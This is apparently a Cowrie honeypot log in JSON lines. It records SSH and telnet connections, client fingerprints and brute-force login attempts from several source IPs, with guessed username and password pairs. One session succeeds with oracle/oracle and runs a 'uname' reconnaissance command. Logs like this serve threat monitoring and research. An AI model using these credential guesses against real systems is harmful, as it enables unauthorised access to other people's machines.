{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:49.615760Z","src_ip":"109.237.96.109","session":"120ac220ac1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkflbckfd","message":"login attempt [root/dkflbckfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:49.900343Z","src_ip":"109.237.96.109","session":"120ac220ac1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:51.003812Z","src_ip":"109.237.96.109","session":"120ac220ac1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":54660,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5c9b94b86c","protocol":"ssh","message":"New connection: 43.153.65.139:54660 (10.17.0.5:22) [session: ad5c9b94b86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:51.028817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:51.033889Z","src_ip":"43.153.65.139","session":"ad5c9b94b86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:51.102036Z","src_ip":"43.153.65.139","session":"ad5c9b94b86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"123456","message":"login attempt [caja01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:51.406107Z","src_ip":"43.153.65.139","session":"ad5c9b94b86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:52.478013Z","src_ip":"43.153.65.139","session":"ad5c9b94b86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42368,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe44912cb58a","protocol":"ssh","message":"New connection: 83.168.110.85:42368 (10.17.0.5:22) [session: fe44912cb58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:52.743143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:52.762690Z","src_ip":"83.168.110.85","session":"fe44912cb58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:53.075525Z","src_ip":"83.168.110.85","session":"fe44912cb58a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:53.507266Z","src_ip":"83.168.110.85","session":"fe44912cb58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:54.653880Z","src_ip":"83.168.110.85","session":"fe44912cb58a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34256,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77ae4c1d183","protocol":"telnet","message":"New connection: 152.42.224.71:34256 (10.17.0.5:23) [session: e77ae4c1d183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:56.502504Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":38276,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac97f30ef8e","protocol":"ssh","message":"New connection: 89.108.118.91:38276 (159.203.135.109:22) [session: 3ac97f30ef8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:57.214370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:57.219642Z","src_ip":"89.108.118.91","session":"3ac97f30ef8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:57.362405Z","src_ip":"89.108.118.91","session":"3ac97f30ef8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volkodav","message":"login attempt [root/volkodav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:57.800777Z","src_ip":"89.108.118.91","session":"3ac97f30ef8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:58.946118Z","src_ip":"89.108.118.91","session":"3ac97f30ef8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40912,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5242703364","protocol":"ssh","message":"New connection: 83.168.110.85:40912 (10.17.0.5:22) [session: 4b5242703364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:59.907059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:59.917445Z","src_ip":"83.168.110.85","session":"4b5242703364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:00.041271Z","src_ip":"83.168.110.85","session":"4b5242703364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:00.422006Z","src_ip":"83.168.110.85","session":"4b5242703364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:01.740523Z","src_ip":"83.168.110.85","session":"4b5242703364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54320,"dst_ip":"10.17.0.5","dst_port":22,"session":"e58f215deb94","protocol":"ssh","message":"New connection: 83.168.110.85:54320 (10.17.0.5:22) [session: e58f215deb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:06.961449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:06.966686Z","src_ip":"83.168.110.85","session":"e58f215deb94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:07.089062Z","src_ip":"83.168.110.85","session":"e58f215deb94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:07.452858Z","src_ip":"83.168.110.85","session":"e58f215deb94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:08.578444Z","src_ip":"83.168.110.85","session":"e58f215deb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":47200,"dst_ip":"10.17.0.5","dst_port":22,"session":"80522d13a016","protocol":"ssh","message":"New connection: 43.153.50.142:47200 (10.17.0.5:22) [session: 80522d13a016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:11.554502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:11.562532Z","src_ip":"43.153.50.142","session":"80522d13a016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:11.631154Z","src_ip":"43.153.50.142","session":"80522d13a016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password123","message":"login attempt [admin/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:11.937182Z","src_ip":"43.153.50.142","session":"80522d13a016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:13.010642Z","src_ip":"43.153.50.142","session":"80522d13a016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54330,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc1cea33179","protocol":"ssh","message":"New connection: 83.168.110.85:54330 (10.17.0.5:22) [session: 6fc1cea33179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:13.593353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:13.598634Z","src_ip":"83.168.110.85","session":"6fc1cea33179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:13.720392Z","src_ip":"83.168.110.85","session":"6fc1cea33179","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:14.243287Z","src_ip":"83.168.110.85","session":"6fc1cea33179","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:14.536409Z","src_ip":"83.168.110.85","session":"6fc1cea33179","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:14.539827Z","src_ip":"83.168.110.85","session":"6fc1cea33179","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:14.666415Z","src_ip":"83.168.110.85","session":"6fc1cea33179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:14.676282Z","src_ip":"83.168.110.85","session":"6fc1cea33179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19698,"dst_ip":"10.17.0.5","dst_port":22,"session":"609ea32436c6","protocol":"ssh","message":"New connection: 87.251.64.176:19698 (10.17.0.5:22) [session: 609ea32436c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:19.811813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:49:19.816864Z","src_ip":"87.251.64.176","session":"609ea32436c6","protocol":"ssh"}
